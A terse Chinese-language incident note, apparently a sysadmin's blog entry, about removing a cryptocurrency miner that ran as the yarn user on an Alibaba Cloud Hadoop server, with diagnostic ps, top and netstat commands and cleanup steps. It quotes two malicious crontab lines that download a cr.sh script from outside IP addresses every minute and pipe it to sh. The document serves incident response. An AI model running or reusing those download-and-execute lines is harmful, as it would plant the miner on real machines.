yarn程序CPU佔用率百分之百
阿里雲出現挖礦程式
Linux根絕Pid檢視程序名
top命令檢視佔用CPU高的程序
ps -aux | grep PID號
ps -ef | grep PID號
檢視yarn程式的資訊
ps -ef | grep yarn
yarn 46185 1 99 May03 ? 4 - 19 : 04 : 28 / tmp / java - c / tmp / w.conf
yarn挖礦程式
* * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&
ps -ef | grep yarn
yarn 46185 1 99 May03 ? 4 - 19 : 04 : 28 / tmp / java - c / tmp / w.conf
tcp 0 1 172.31.**.**:44128 185.222.210.59:80 SYN_SENT 27001/wget
參考網站
https://labitacoranet.wordpress.com/2018/05/16/forensic-analysis-of-a-cryptocurrency-mining-attack-in-a-big-data-cluster/
https://zhangnew.com/hadoop-yarn-safe.html
https://blog.csdn.net/BleakRed/article/details/80625551
https://www.linuxidc.com/Linux/2014-09/106497.htm
https://www.jb51.net/hack/186589.html
http://www.freebuf.com/vuls/173638.html
8088,8090
檢視哪些IP連線過該埠
netstat -anp |grep 8042
一般是8088埠入侵,可以禁止外網訪問8088埠
刪除crontab的任務
crontab -l -u yarn
ps -ef | grep yarn
crontab -r -u yarn
刪除不相干檔案/var/tmp/java